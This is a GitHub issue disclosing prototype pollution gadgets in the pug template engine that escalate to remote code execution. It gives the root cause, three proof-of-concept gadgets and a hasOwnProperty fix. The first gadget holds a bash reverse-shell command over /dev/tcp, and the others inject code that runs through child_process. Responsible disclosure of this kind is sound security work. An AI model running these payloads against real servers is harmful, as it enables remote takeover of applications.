Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

vulnerable undefined property lookup that escalating prototype pollution to remote code execution #3414

Open
jackfromeast opened this issue May 15, 2023 · 0 comments

Comments

@jackfromeast
Copy link

jackfromeast commented May 15, 2023

Hello,

I've identified several prototype pollution gadgets within the pug template engine that could potentially be leveraged by attackers to achieve remote code execution via prototype pollution vulnerabilities.

Root Cause

The existence of these gadgets can be attributed to a specific programming practice. When checking for the presence of a property within an object variable, the lookup scope isn't explicitly defined. In JavaScript, the absence of a defined lookup scope prompts a search up to the root prototype (Object.prototype). This could potentially be under the control of an attacker if other prototype pollution vulnerabilities are present within the application.

Some vulnerable coding patterns are as follows. And the first code pattern is heavily used in the AST walking (pug-walk) process.

if(obj.prop){ //... }
var x = obj.prop || ''

Impact

If the application server is using the pug as the backend template engine, and there is another prototype pollution vulnerability in the application, then the attacker could leverage the found gadgets in the pug template engine to escalate the prototype pollution to remote code execution.

Proof of Concept

Below, I present a Proof of Concept (PoC) to demonstrate the identified gadgets within the pug template engine. The first gadget has been previously discovered by others, while the remaining gadgets is my own finding.

The pug version currently in use is ^3.0.2.

Gadget 1

// exp-1
Object.prototype.block = {
    type: "Text",
    line: "process.mainModule.require('child_process').execSync(`bash -c 'bash -i >& /dev/tcp/127.0.0.1/8080 0>&1'`)"
}

const template = pug.compile(`h1= msg`);
console.log(template({msg: "Hello World"}));

Gadget 2

Object.prototype.code = { 
    val: "process.mainModule.require('child_process').execSync(\`sleep 10\`)"
}

const template = pug.compile(`h1= msg`);
console.log(template({msg: "Hello World"}));

Gadget 3

pug = require("pug")

Object.prototype.val = '"somevalue", false)); process.mainModule.require("child_process").execSync(\`sleep 10\`);//'

const path = require('path');
const templatePath = path.join(__dirname+"/views/", 'attrs.pug');
const template = pug.compileFile(templatePath);

template({});

Suggested Fix

To mitigate this issue, I recommend constraining the property lookup to the current object variable. This can be achieved by utilizing the hasOwnProperty method, particularly when there's no requirement to traverse through the prototype chain.

if(obj.hasOwnProperty('prop')){ //... }
var x = obj.hasOwnProperty('prop') ? obj.prop : ''

By adopting this practice, we can effectively prevent the potential exploitation of prototype pollution vulnerabilities.

Finally, in light of our findings, we kindly request your confirmation of these potential issues. We would greatly appreciate any steps taken to address them and we stand ready to submit a pull request to help improve the security for all users of your excellent work.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant